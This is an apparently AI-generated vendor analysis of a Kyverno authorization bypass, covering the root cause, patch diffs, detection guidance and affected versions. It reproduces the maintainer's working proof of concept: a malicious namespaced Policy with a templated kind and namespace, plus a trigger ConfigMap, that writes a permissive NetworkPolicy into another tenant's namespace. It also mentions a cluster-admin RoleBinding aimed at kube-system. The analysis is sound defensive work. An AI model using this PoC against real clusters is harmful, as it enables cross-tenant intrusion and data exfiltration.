Automated Threat Modeling

Brief Summary: Kyverno CVE-2026-124441 Authorization Bypass via Variable Generate Target Kind (with PoC)

A summary of CVE-2026-124441, an authorization bypass in Kyverno before 1.19.2 that lets namespaced tenants steer the privileged background controller into writing resources in other namespaces. Includes the maintainer PoC, patch analysis, and detection guidance.

CVE Analysis

12 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-08

Brief Summary: Kyverno CVE-2026-124441 Authorization Bypass via Variable Generate Target Kind (with PoC)
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A tenant with nothing more than the right to create a Kyverno Policy and a ConfigMap in their own namespace could quietly open another tenant's network or drop a RoleBinding into kube-system. CVE-2026-124441 breaks a tenant isolation boundary in Kyverno by letting attackers steer the engine's privileged background controller into writing resources wherever they point it.

Kyverno is an open source Kubernetes native policy engine for defining, managing and enforcing policy as code. Originally created by Nirmata and contributed to the CNCF in 2020, it graduated to the foundation's highest maturity level in March 2026 and is used in production by organizations including Bloomberg, Coinbase and Deutsche Telekom. Because Kyverno sits in the Kubernetes control plane as an admission controller, a flaw in its authorization logic can undermine the very policy boundary it is meant to enforce.

Technical Information

Kyverno enforces generate rules through two gates. First, an admission-time RBAC check runs when the Policy is created. Second, the background controller performs the actual resource write at runtime. CVE-2026-124441 exists because both gates fail in complementary ways, and the defect is classified as CWE-863, Incorrect Authorization.

The root cause lives in pkg/policy/generate/validate.go. The function canIGenerate returns success immediately when regex.IsVariable detects a template variable in the target group/version/kind. The normal CanI authorization path is only reached for static kinds, so a templated kind such as {{request.object.metadata.labels.attackKind}} bypasses the check entirely:

func (g *Generate) canIGenerate(ctx context.Context, verbs []string, gvk, namespace, subresource string) error { if regex.IsVariable(gvk) { // true if kind == "{{request.object.metadata.labels.attackKind}}" g.log.V(2).Info("resource Kind uses variables; skipping authorization checks.") return nil // <-- no static check AND no runtime fallback } // ... normal CanI path only reached for static kinds }

The advisory identifies a second, related defect. Even when the static target permission check runs (pkg/validation/policy/actions.go line 91), it asks whether Kyverno's background controller ServiceAccount can perform the operation, not whether the Policy author can. The maintainer maps this to improper authorization and an unintended intermediary, the classic confused deputy pattern. Finally, in pkg/background/generate/generator.go (lines 110-116 and 159-161), the controller calls CreateResource into a namespace and kind substituted from request.object.metadata.labels.* with no SubjectAccessReview for the triggering user.

Attack flow

The attacker operates in a namespace such as team-a where they can only create Policy and ConfigMap objects, with no access to the victim namespace or kube-system.

  1. The attacker authors a namespaced Policy whose generate rule sets both kind and namespace from labels on a triggering ConfigMap. Because the kind field contains a {{ }} variable, admission skips the authorization check and the Policy is accepted.
  2. The attacker creates the trigger ConfigMap in their own namespace, with labels such as attackKind: NetworkPolicy and targetNs: team-b.
  3. The background controller resolves those values and writes the generated resource into the victim namespace using its own identity, system:serviceaccount:kyverno:background-controller, without ever re-checking the triggering tenant's permissions.

The documented impact includes bypassing network isolation, permissive egress via a 0.0.0.0/0 rule, denial of service through a restrictive or deleted NetworkPolicy with synchronize: true, and a suggested RoleBinding payload aimed at kube-system. Scope matters here: Kubernetes RoleBindings grant permissions within their own namespace, so referencing cluster-admin in a namespaced RoleBinding does not by itself grant cluster wide authority, and binding generation depends on the controller actually possessing the necessary permissions. The network isolation bypass is demonstrated. The broader RBAC abuse is a serious supported attack path whose effective scope depends on the controller's permissions and Kubernetes binding semantics.

Proof of Concept

A public, maintainer-hosted proof of concept exists in the Kyverno GitHub Security Advisory GHSA-vjfx-fp68-rh4v, published on October 23, 2026 by Kyverno maintainer JimBugwadia and credited to reporter sagarkhandagre998. It affects Kyverno 1.19.0 and is fixed in 1.19.2.

The setup uses three namespaces: team-a (attacker, can only create Policy and ConfigMap in team-a), team-b (victim running payments-db behind a default-deny NetworkPolicy), and kyverno (the controller, whose background-controller ClusterRole can create networkpolicies and rolebindings cluster-wide in the default Helm install).

Step 1: Apply the malicious namespaced Policy

The {{ }} in the kind field triggers the authorization skip:

apiVersion: kyverno.io/v1 kind: Policy metadata: { name: hijack-netpol, namespace: team-a } spec: background: true rules: - name: pwn-netpol match: { any: [{ resources: { kinds: [ConfigMap], namespaces: [team-a] } }] } generate: apiVersion: networking.k8s.io/v1 kind: "{{request.object.metadata.labels.attackKind}}" # NetworkPolicy -> triggers skip name: allow-attacker-access namespace: "{{request.object.metadata.labels.targetNs}}" # team-b -> steered synchronize: true data: spec: podSelector: {} policyTypes: [Ingress, Egress] ingress: - from: - namespaceSelector: { matchLabels: { name: team-a } } - ipBlock: { cidr: 0.0.0.0/0 } egress: - to: - ipBlock: { cidr: 0.0.0.0/0 }

Running kubectl -n team-a apply -f policy.yaml succeeds because admission sees {{...}} in kind and skips the auth check.

Step 2: Create the trigger ConfigMap

The labels steer the target kind and namespace:

apiVersion: v1 kind: ConfigMap metadata: { name: trigger, namespace: team-a, labels: { attackKind: NetworkPolicy, targetNs: team-b } } data: { p: "1" }

Apply it with kubectl -n team-a apply -f trigger.yaml.

Step 3: The controller performs the privileged write

The Kyverno background-controller substitutes team-b and NetworkPolicy, then calls CreateResource into team-b as system:serviceaccount:kyverno:background-controller.

Verification:

kubectl -n team-b get networkpolicy allow-attacker-access -o yaml kubectl -n team-a run tester --image=curlimages/curl -- curl -m2 payments-db.team-b.svc:5432 # now succeeds (was blocked)

The same primitive can be pointed at kind: RoleBinding, targetNs: kube-system with a roleRef of cluster-admin, and supports tenant isolation bypass, data exfiltration via a 0.0.0.0/0 egress rule, and stealth denial of service via deny-all or deletion of the victim's NetworkPolicy using synchronize: true. The only prerequisites are create rights on Policy and ConfigMap in the attacker's own namespace. There is no indication this PoC was independently executed for the briefing, and at disclosure EPSS was 0.0 with no CISA KEV listing or in-the-wild exploitation reported.

Patch Information

Kyverno fixed this in v1.19.2. The advisory lists 1.19.0 as affected and does not link a commit, but the matching code is in the release-1.19 backport PR #17937, merged as commit 41d3992 with the message "[release-1.19] fix: preserve legacy generation scope and ownership". The v1.19.2 release notes list #17937 under "Generate authorization, clone namespace confinement, and internal-label protections". The patch closes both halves of the bug and adds a runtime check behind them.

1. The silent skip is removed

In pkg/policy/generate/validate.go, the early return on a variable GVK is deleted. Templated targets now fail validation instead of bypassing it:

func (g *Generate) canIGenerate(ctx context.Context, verbs []string, gvk, namespace, subresource string) error { - if regex.IsVariable(gvk) { - g.log.V(2).Info("resource Kind uses variables; skipping authorization checks.") - return nil - }

The check now runs on the raw kind and apiVersion fields before any subresource split, and it also catches $(...) JMESPath references:

+ if regex.IsVariable(generate.Kind) || regex.IsReference(generate.Kind) || + regex.IsVariable(generate.APIVersion) || regex.IsReference(generate.APIVersion) { + return fmt.Errorf("generated resource apiVersion and kind must be static so authorization can be verified") + }

A templated namespace cannot be checked against one namespace, so the new canI helper treats it as cluster-wide access instead:

if regex.IsVariable(namespace) || regex.IsReference(namespace) { // An unresolved namespace can select any namespace at runtime. Checking an // empty namespace requires permissions which are not limited by a RoleBinding // in one namespace. namespace = "" }

The same commit also fixes a related cloneList loop bug where the old code returned after the first kind, leaving later kinds unauthorized. Every kind is now checked.

2. Namespaced Policy objects must use static scope

In api/kyverno/v1/common_types.go, the patch rejects dynamic scope fields for tenant-owned namespaced policies. This covers kind, apiVersion, namespace, clone.namespace, cloneList.kinds and cloneList.namespace. Resource names may stay dynamic because a name cannot move the write out of the fixed namespace and kind:

if namespaced { // Scope must be static: references are resolved before variables and can // copy a dynamic name into a scope field. Resource names remain dynamic // because they cannot escape the fixed namespace and resource kind. for _, target := range []struct{ name, value string }{ {"kind", g.Kind}, {"apiVersion", g.APIVersion}, {"namespace", g.Namespace}, } { if regex.IsVariable(target.value) || regex.IsReference(target.value) { errs = append(errs, field.Forbidden(path.Child(target.name), "variables and references are not allowed in generate target "+target.name+" for namespaced Policy")) } }

3. Runtime check in the background controller

Policies stored before the upgrade never went through the new admission checks. To cover them, pkg/background/generate/target_scope.go now validates the substituted target before any write or clone-source read, including each foreach element:

if pattern.Namespace != policyNamespace { return fmt.Errorf("generate.namespace %q must equal policy namespace %q", pattern.Namespace, policyNamespace) }

validateNamespacedKind uses API discovery to confirm the resolved kind is namespaced and rejects cluster-scoped kinds, wildcards, subresources and unknown kinds. In generator.go, both checks run immediately after variable substitution:

+ if err := g.validateTargetScope(pattern); err != nil { + return nil, err + } + if err := g.validateCloneSources(pattern); err != nil { + return nil, err + }

This blocks the advisory's attack at execution time even if a vulnerable policy object is still stored in the cluster.

4. Checking the author, not the controller

The admission webhook now passes the requester's identity, including groups, into validation:

- warnings, err := policyvalidate.Validate(policy.AsKyvernoPolicy(), old, h.client, false, h.backgroundServiceAccountName, h.reportsServiceAccountName) + warnings, err := policyvalidate.ValidateWithUserInfo(policy.AsKyvernoPolicy(), old, h.client, false, h.backgroundServiceAccountName, h.reportsServiceAccountName, request.UserInfo)

The new validateGenerateAuthor runs SubjectAccessReviews as that user against every generate target, for all rules, before any warning-only early returns. Controller permissions are still checked separately via validateGenerateControllers. Updates that change only metadata skip the author check, so routine tooling such as Helm or kubectl annotate keeps working.

5. Provenance stamping

The PR adds the pkg/background/generate/provenance package. After writing a target, the controller stamps a generate.kyverno.io/provenance annotation, an HMAC-SHA256 over the target identity and UID, the policy UID, and Kyverno's routing labels, keyed by an immutable installation Secret (kyverno-generate-provenance). Sync, cleanup and clone-source fan-out now act only on targets whose stamp verifies, and a webhook guard (WithGenerateProvenanceProtection) rejects changes to that annotation unless they come from configured Kyverno controller identities.

Upgrade notes

  • Namespaced Policy objects with templated kind, apiVersion or namespace are rejected at admission after upgrading; stored copies fail at runtime.
  • A ClusterPolicy may still template namespace, but the author now needs cluster-wide RBAC for the target kind.
  • The background controller now needs patch on every generated kind so it can write the provenance stamp; many conformance-test RBAC fixtures were updated to add it.
  • Older generated resources without a stamp are ignored by sync and cleanup until an authorized trigger evaluation or a generateExisting run re-stamps them.

Detection Methods

No public Sigma, YARA, Snort/Suricata or SIEM rule exists for CVE-2026-124441, and no campaign IoCs have been published. Detection depends on reviewing the cluster's own configuration and Kubernetes audit data. There are three places to look: the malicious policy, the trigger resource, and the privileged write the controller makes.

1. Policies with templated generate targets

This is the strongest signal. Audit namespaced Kyverno Policy resources for generate rules whose kind or namespace fields hold {{ }} template expressions drawn from fields like request.object.metadata.labels or request.object.metadata.annotations. Red flags in each policy:

  • generate.kind holding a template instead of a literal kind
  • generate.namespace holding a template, or resolving to a namespace other than the policy's own
  • synchronize: true together with high-risk target kinds such as NetworkPolicy or RoleBinding
  • match rules on a cheap trigger kind such as ConfigMap, limited to the tenant's own namespace

Nirmata's guidance gives commands to list namespaced policies so you can review them and note who created each one:

kubectl get policies.kyverno.io,cleanuppolicies.kyverno.io -A kubectl get namespacedmutatingpolicies,namespacedvalidatingpolicies,namespacedgeneratingpolicies,namespaceddeletingpolicies,namespacedimagevalidatingpolicies -A

Export the policies.kyverno.io objects and check each spec.rules[].generate block for {{ in the kind and namespace fields.

2. Trigger objects whose labels steer the rule

In the published scenario, the tenant creates an ordinary ConfigMap in their own namespace whose labels name the target kind and victim namespace, such as attackKind: NetworkPolicy and targetNs: team-b. When a suspicious policy reads labels or annotations from request.object, inspect the matched objects. Labels naming Kubernetes kinds (NetworkPolicy, RoleBinding) or other tenants' namespaces (including kube-system) are strong evidence of attempted exploitation.

3. Cross-namespace writes by the background-controller

At runtime the generated resource is created by system:serviceaccount:kyverno:background-controller, which never checks the triggering tenant's permissions. In Kubernetes API audit logs, filter for create and update events by that ServiceAccount on networkpolicies and rolebindings, and correlate each with the namespace of the Kyverno Policy that produced it. A namespaced policy in team-a causing a write into team-b or kube-system should never happen legitimately. The two outcomes deserving the most attention:

  • RoleBindings in kube-system that reference cluster-admin, described by the advisory as a one-step path to cluster-admin.
  • NetworkPolicies in other tenants' namespaces with broad selectors. In the advisory's example, podSelector: {} is paired with ipBlock 0.0.0.0/0 ingress and egress rules; because NetworkPolicies are additive, a new allow rule silently overrides a platform default-deny.

4. Optional log artifact

The vulnerable code logs, at verbosity level 2, the message resource Kind uses variables; skipping authorization checks. when it skips the check. If your Kyverno components run with -v=2 or higher and you keep their logs, searching for this string shows when a templated-kind policy went through admission without a permission check. It is only a supporting signal: a legitimate admin-authored policy with a templated kind produces the same line, and it will not appear at the default log level.

5. Measure your exposure

Exploitation needs only the right to create a namespaced Policy and a trigger resource. These checks reveal which tenant identities hold that right and confirm the running Kyverno image version:

kubectl auth can-i create policies.kyverno.io -n team-a --as=system:serviceaccount:team-a:deployer kubectl get pods -n kyverno -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].image}{"\n"}{end}'

In a multi-tenant cluster, look hardest at three things together: tenants who can create policies, policies with templated generate targets, and writes by the background-controller outside the policy's namespace.

Affected Systems and Versions

The CVE record lists Kyverno versions before 1.19.2 as affected. The maintainer advisory GHSA-vjfx-fp68-rh4v specifically lists 1.19.0 as affected. The narrower version entry in the advisory does not supersede the broader affected range in the CVE record. The fixed version is 1.19.2, shipped in Helm chart 3.9.2 per Nirmata's briefing. The default Helm install is relevant to exploitability because its background-controller ClusterRole can create networkpolicies and rolebindings cluster-wide. The CVSS 3.1 base score is 8.8 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), with a CVSS 4.0 score of 8.7 High. NVD displays the CNA score but has not supplied its own independent assessment.

Vendor Security History

Kyverno's record reflects an established project with meaningful security investment rather than immunity from authorization defects. A 2023 third party audit by Ada Logics, supported by CNCF and the Open Source Technology Improvement Fund, covered threat modeling, manual code review, fuzzing and supply chain evaluation. It found 10 security issues with six CVEs assigned, addressed by the maintainers in 1.10.6 and 1.11.1. Some findings involved an unreleased verifier or a dependency, so the totals should not be read as ten identical production exposures. The 1.19.2 release itself is a substantial remediation batch: the release notes initially list 24 advisories (nine Critical, 14 High, one Moderate), while Nirmata's later briefing reports 26 (11 Critical, 14 High, one Moderate), explaining that two additional Critical advisories, including this GHSA, were published on October 23 and already fixed in 1.19.2. Project maturity and audit history establish security investment. They do not establish the safety of any particular vulnerable deployment, which should be evaluated separately.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization